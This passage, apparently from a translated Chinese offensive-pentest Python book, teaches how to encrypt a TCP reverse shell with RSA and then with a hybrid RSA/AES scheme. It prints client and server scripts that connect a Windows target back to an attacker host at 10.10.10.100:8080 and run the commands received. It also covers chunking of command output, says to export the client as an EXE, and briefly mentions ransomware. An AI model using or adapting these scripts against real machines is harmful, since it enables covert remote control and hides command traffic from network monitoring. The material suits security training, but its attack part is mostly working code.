现在,为了验证我们在传输路径中得到了加密,在 Wireshark 中,如果我们右键点击特定的 IP 并选择“Follow TCP Stream”,我们将看到消息在发送到 TCP 套接字之前已经被加密。
使用 RSA 保护你的隧道
在本节中,我们将使用 RSA 非对称算法来保护我们的隧道。现在,回顾非对称加密的要求:正如我们所说,每个实体都有自己的一对密钥;当我说密钥对时,我指的是公钥和私钥。最终的密钥对分配如下:客户端将持有自己的私钥和服务器的公钥。另一方面,服务器或 Kali 机器将持有自己的私钥和目标的公钥。因此,当我们想从 Kali 端向目标发送消息或命令时,首先我们将使用目标的公钥加密该消息,然后将其以加密格式通过隧道发送。目标将接收该命令或消息,并使用其私钥解密,从而恢复明文。执行完命令后,回复将使用服务器的公钥进行加密。之后,我们将以加密格式将其发送到网络,一旦我们在 Kali 机器上接收到该消息或加密消息,我们将使用 Kali 的私钥将其解密为明文。
现在,第一步是在两端生成一个密钥对:
# Python For Offensive PenTest
# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto
# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"
# Generate Keys
from Crypto.PublicKey import RSA
new_key = RSA.generate(4096 ) # generate RSA key that 4096 bits long
#Export the Key in PEM format, the PEM extension contains ASCII encoding
public_key = new_key.publickey().exportKey("PEM")
private_key = new_key.exportKey("PEM")
print private_key
print public_key
所以,我们从导入RSA
类开始。然后,我们创建一个新的对象来生成一个大小为4096
位的密钥。现在,这是RSA
支持的最大大小,但拥有一个复杂密钥所付出的代价就是其运行速度较慢。密钥越大,安全性越高,但操作会越慢。接下来,我们将密钥导出为PEM
格式。PyCrypto
支持其他格式,如DER
,它是二进制编码。最常见的格式是PEM
,它也用于网络设备,如防火墙和路由器,用于 VPN 或 HTTPS 访问目的。现在,打印出生成的密钥后,我们将其保存到private.pem
和public.pem
文件中。
让我们开始吧,运行之前提供的生成密钥脚本,分别在目标机器和攻击者机器上执行。在 Kali 机器上,我们会得到 RSA 私钥和公钥,密钥的开始和结束部分会被标记。我们在 Windows 机器上也会得到类似的结果。那么,现在我们要做的是,在 Kali 机器上复制每个密钥并保存到一个单独的文件中。首先从攻击者机器上的私钥开始,将私钥粘贴到记事本文件中。将此文件重命名为private.pem
。现在,接下来做相同的操作,处理公钥。我们将它命名为public.pem
。之后,切换到 Windows 机器,按照在 Kali 机器上做的操作进行。
现在,正如我们在 AES 加密中所做的那样,在将加密集成到我们的隧道中之前,首先让我们看看加密和解密是如何工作的:
# Python For Offensive PenTest
# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto
# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"from Crypto.PublicKey import RSA
# RSA ENC-DEC
from Crypto.PublicKey import RSA
def encrypt(message):
publickey = open("public.pem", "r")
encryptor = RSA.importKey(publickey)
global encriptedData
'''
The encrypt function, will take two arguments, the second one can be discarded
>>that's why we passed (message,0) arguments
The returned value is a tuple with two items. The first item is the
cipher text. The second item is always None.
>>that's why print encriptedData[0]
Ref: https://pythonhosted.org/pycrypto/Crypto.PublicKey.RSA._RSAobj-class.html#encrypt
'''
encriptedData=encryptor.encrypt(message,0)
print encriptedData[0]
encrypt('Hussam')
def decrypt(cipher):
privatekey = open("private.pem", "r")
decryptor = RSA.importKey(privatekey)
print decryptor.decrypt(cipher)
decrypt(encriptedData)
在这里,我们首先定义一个加密函数,我们将传入我们想加密的消息,并在下面定义一个解密函数,就像我们在 AES 加密中做的一样。现在,在获取明文消息之后,我们将打开公钥文件,这个文件会为我们加密消息,并将导入的密钥链接到encryptor
对象中。现在,encryptor
对象将为我们执行实际的加密操作。
RSA
类中的加密函数需要两个参数。第一个是明文消息,第二个参数可以简单地忽略。因此,我们传入了一个0
值。另一个需要注意的是,加密的输出以元组格式返回。第一个元素包含加密后的文本,所以我们将打印出来,进行测试时——我先从加密我的名字开始。
让我们跳转到解密过程,我们将通过导入做类似于加密过程的操作。现在,这是关键的不同点。在解密时,我们将导入privatekey
并传入cipher
值,然后在解密后打印出明文。
让我们尝试在 Windows 机器上运行脚本,如果你遇到一个错误消息,提示我们没有找到public.pem
文件或目录,很可能是因为保存的文件格式问题。查看完整的扩展名并去掉.txt
,将其改为.pem
,无论是公钥还是私钥文件都需要这样修改。
在这里,我们首先要加密我的名字,我们将以明文形式将我的名字传递给加密函数。现在,一旦我们导入了公钥进行加密,就会打印出加密后的消息。然后,我们将加密后的消息传回解密函数,以便我们可以以明文格式打印出来。
现在,如果我们切换到 Kali 机器并运行稍微修改过的encrypt()
函数脚本:
...
encrypt('H'*512)
...
现在,注意到我已经在代码块中加密了一个大小为512
字节的消息。我想展示的重点是,RSA 作为一个块密码
类型在工作,并且根据PyCrypto
的实现,块大小为512
字节。
现在,让我们看看如果我将消息大小增加 1 字节会发生什么。所以下面我不会将其乘以 512
,而是直接乘以 513
。此时会抛出一个异常,提示明文数据过大,无法处理。
所以,消息的最大大小必须是 512
字节。现在,我要做的第一件事是将 RSA 集成到我们的 TCP 隧道中,然后我会展示如何通过几行 Python 代码解决块大小问题。现在,集成过程与我们在前面部分所做的非常相似。让我们来看一下客户端脚本:
# Python For Offensive PenTest
# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto
# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"
# RSA - Client - TCP Reverse Shell
import socket
import subprocess
from Crypto.PublicKey import RSA
def encrypt(message):
#Remember that here we define the server's public key
publickey ='''-----BEGIN PUBLIC KEY-----
...
-----END PUBLIC KEY-----'''
encryptor = RSA.importKey(publickey)
global encriptedData
encriptedData=encryptor.encrypt(message, 0)
return encriptedData[0]
def decrypt(cipher):
#Remember that here we define our (the target's) private key
privatekey = '''-----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----'''
decryptor = RSA.importKey(privatekey)
dec = decryptor.decrypt(cipher)
return dec
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.10.100', 8080))
while True:
command = decrypt(s.recv(512))
print ' We received: ' + command
...
所以,我创建了两个函数:一个用于加密,另一个用于解密。在发送任何命令之前,我们首先将其传递给加密函数,在打印任何结果之前,我们将得到的结果传递给解密函数。现在,请记住,目标端持有其私钥和服务器的公钥,而 Kali 机器持有其私钥和客户端的公钥。现在,去 Kali 机器,打开你之前保存在文本文件中的公钥。复制并粘贴公钥到变量中。所以,很显然,在将脚本导出为 EXE 格式之前,我们需要手动导入这些密钥。接下来,我们将打开刚才生成的目标端公钥。记住,这个公钥应该位于 Kali 机器上的公钥变量中。执行与之前相同的操作。
现在,是时候处理私钥了。因此,Kali 机器的私钥将位于该机器的脚本中。从文本文件中复制并粘贴私钥到服务器端和客户端的字符串中,并保存它们。现在,让我们看看集成到 TCP 隧道后的脚本是否能正常工作。启动 Wireshark,并在服务器端运行它。接着,我们跳到目标端,基本上我们得到了连接和一个 Shell 提示符。用一个不那么复杂的命令,比如 whoami
来检查连接。
现在,记住,whoami
的大小小于 512
字节;因此,我们能够成功地在 Kali 机器上加密它,并将其发送到目标端。而且,由于执行 whoami
的输出大小也小于 512
字节,我们成功收到了回复。所以,我们已经验证了加密功能在这里正常工作。现在,让我们尝试另一个命令,比如 ipconfig
。
你会注意到我们已经成功接收到命令,但由于某些原因,在 Kali 机器上没有输出,这是因为在客户端或目标端执行 ipconfig
的输出超过了 512
字节,因此脚本会崩溃,因为我们超出了消息的大小限制。正如我之前所说,这可以通过验证消息长度并将其分解成多个块来解决,每个块应该小于或等于 512
字节。所以,让我们看一下最新的代码,它为我们解决了块大小的问题:
...
if len(result)>512:
for i in range(0, len(result), 512):
chunk = result[0+i:512+i]
s.send( encrypt (chunk ) )
else:
s.send( encrypt (result ) )
...
我们创建了一个if
语句来检查命令执行输出的大小。例如,假设我们从 Kali 得到的命令是ipconfig
。那么,我们将检查 ipconfig
的输出是否大于 512
字节。如果没有,说明没有问题:我们将把输出发送到 encrypt()
函数,然后它会直接发送到 Kali 机器。不过,如果输出大于 512
字节,我们将其拆分成多个块,每个块的最大大小为 512
字节。拆分过程将通过一个 for
循环完成,我们从 0
开始,直到命令执行输出的长度。每次循环时,我们会将 i
计数器增加 512
字节。因此,通过这样做,我们将使得每个拆分的结果保存在块变量中,第一块将包含从 0
到 512
字节的结果,第二块将包含从 500
到 1024
字节的结果,以此类推,直到达到命令输出的长度。现在,注意到每次我们得到一个块后,我们就可以立即将其发送到攻击者机器,确保在发送之前已经通过加密函数处理过。
现在,在目标端,由于我们已经知道接收到的数据的最大大小是 512
字节,而不是再去读取 1 KB 并拆分成块,我们将每次读取一个块。因此,这就是为什么我们将接收值从 1
KB 更改为 512
字节的原因。现在,在解密该块后,如果我们得到的明文消息的大小正好是 512
字节,这很可能意味着该消息已经在目标端被拆分成了块,对吧?那么,下一条消息或块与第一条相关联。这就是为什么存储的变量会保存这两条消息的原因,当我说这两条时,我指的是 store + decrypt
消息和接下来的 store + decrypt
消息。最后,我们将 print
出 result
。
如果命令执行结果大于两条消息,或者换句话说,结果大于 1 KB,那么我们可能需要将第三条消息也与存储的变量关联起来。
那么,我们来验证一下代码现在是否有效。启动服务器端和客户端。首先运行之前失败的命令 ipconfig
,我们会看到它的输出是一个完整的结果,即使它大于 512
字节。whoami
和目录命令也会得到类似的输出。
RSA 还被用于开发一种叫做 勒索软件 的东西。在勒索软件中,攻击者可以使用公钥加密目标文件,并要求支付费用以提供私钥,从而解密这些重要文件。
混合加密密钥
在这一点上,你应该能够编写代码并实现 RSA 非对称加密和 AES 对称加密,并将两者整合到我们的 TCP shell 中。那么现在,我们将实现一种混合方式,利用这两种算法。我们先快速回顾一下。客户端将持有自己的私钥,服务器或 Kali 机器将持有目标的公钥。一旦 TCP 连接建立,Kali 机器将生成一个随机的 AES 密钥,我们将安全地将这个密钥发送到目标端。我之所以说安全地,是因为传输将通过加密进行,或者通过使用目标的公钥加密随机的 AES 密钥。一旦目标收到该消息,它将使用目标的私钥进行解密,并将 AES 密钥还原为明文。此时,Kali 和目标机器都拥有相同的随机生成的 AES 密钥,这些密钥将用于 AES 加密。现在,此时的 AES 加密将用于加密我们将在 Kali 机器和目标之间来回传输的命令。
在每次新的连接时,Kali 和目标将重复整个过程,并且会派生出一个新的随机密钥。这就是为什么这叫做混合方法,因为我们使用非对称算法来安全地传输生成的对称密钥,最终将用来加密我们的命令。
所以,让我们跳到编码部分,这部分是对称和非对称的混合。以下是服务器端脚本:
# Python For Offensive PenTest
# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto
# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"
# Hybrid - Server- TCP Reverse Shell
import socket
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES
import string
import random
def encrypt_AES_KEY(KEY):
publickey ="""-----BEGIN PUBLIC KEY-----
...
-----END PUBLIC KEY-----"""
encryptor = RSA.importKey(publickey)
encriptedData=encryptor.encrypt(KEY, 0)
return encriptedData[0]
完成 TCP 三次握手后,我们将生成两个随机值,即key
和counter
。它们的值是由大写字母、小写字母、数字和特殊字符的组合组成。在进入无限循环之前——该循环将用于传输我们希望执行的命令——我们将使用目标的公钥对这些值进行加密,然后传输:
...
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("10.10.10.100", 8080))
s.listen(1)
print '[+] Listening for incoming TCP connection on port 8080'
conn, addr = s.accept()
print '[+] We got a connection from: ', addr
global key
key = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase + string.digits + '^!\$%&/()=?{[]}+~#-_.:,;<>|\\') for _ in range(32))
print "Generated AES Key " + str(key)
conn.send ( encrypt_AES_KEY(key) )
global counter
counter = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase + string.digits + '^!\$%&/()=?{[]}+~#-_.:,;<>|\\') for _ in range(16))
conn.send ( encrypt_AES_KEY(counter) )
...
在目标端,并且在进入无限循环之前,我们将解密从 Kali 机器接收到的密钥和计数器;我们将使用我们的私钥进行加密。然后,我们将它们存储在一个全局变量中,这个变量将用于 AES 加密。同样,这个操作也会在进入无限循环之前完成。我们的私钥的定义在一个名为GET_AES_KEY()
的函数中。所以,在此时,我们获得了密钥和counter
值,正如我所说,我们将使用它们进行 AES 加密。因此,encrypt 函数和 decrypt 函数用于保护我们将在 Kali 和 Windows 机器之间来回传输的命令。现在,一旦我们进入无限循环,我们将使用 AES 的流模式来保护我们的隧道:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto
# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"
# Hybrid - Client - TCP Reverse Shell
import socket
import subprocess
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES
def GET_AES_KEY(KEY):
privatekey = """-----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----"""
decryptor = RSA.importKey(privatekey)
AES_Key = decryptor.decrypt(KEY)
return AES_Key
...
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.10.100', 8080))
global key, counter
x = s.recv(1024)
key = GET_AES_KEY( x )
print "Generated AES Key " + str(key)
y = s.recv(1024)
counter = GET_AES_KEY( y )
while True:
command = decrypt(s.recv(1024))
print ' We received: ' + command
...
现在,让我们运行脚本,先从 Kali 端开始,然后是 Windows 端。你会注意到,一旦我们启动目标,Kali 机器上会生成一个随机的 AES 密钥,然后将其传输到目标端。
如果我们打开 Wireshark,右键点击任何一个 IP 地址并选择“Follow TCP Stream”,我们可以看到 AES 密钥在经过目标的公钥加密后成功传输。
因此,一旦我们获得密钥,所有发送的数据将会使用 AES 密钥流进行加密。所以,当我们在 Kali 机器上运行ipconfig
并再次点击“Follow TCP Stream”时,ipconfig
将会使用 AES 算法进行加密。
让我们尝试另一个命令,例如whoami
。如果我们通过输入terminate
停止此会话,然后重新建立一个新会话,你会看到根据新会话生成了一个新的随机 AES 密钥。
所以,每次目标连接到 Kali 机器时,都会生成一个新的随机密钥。
从技术角度讲,你可以在这里增强脚本,使两端在一定时间后或发送特定字节数后更换 AES 密钥,就像 VPN 隧道中的 IPSEC 所做的那样。
总结
在本章中,我们讨论了从加密算法介绍到不同类型算法的各种话题。我们还实现了 AES 和 RSA 来保护信息传输过程中的隧道。
到这里,我们已经走到了本书的结尾!希望你学到了很多可以用 Python 进行测试的技巧。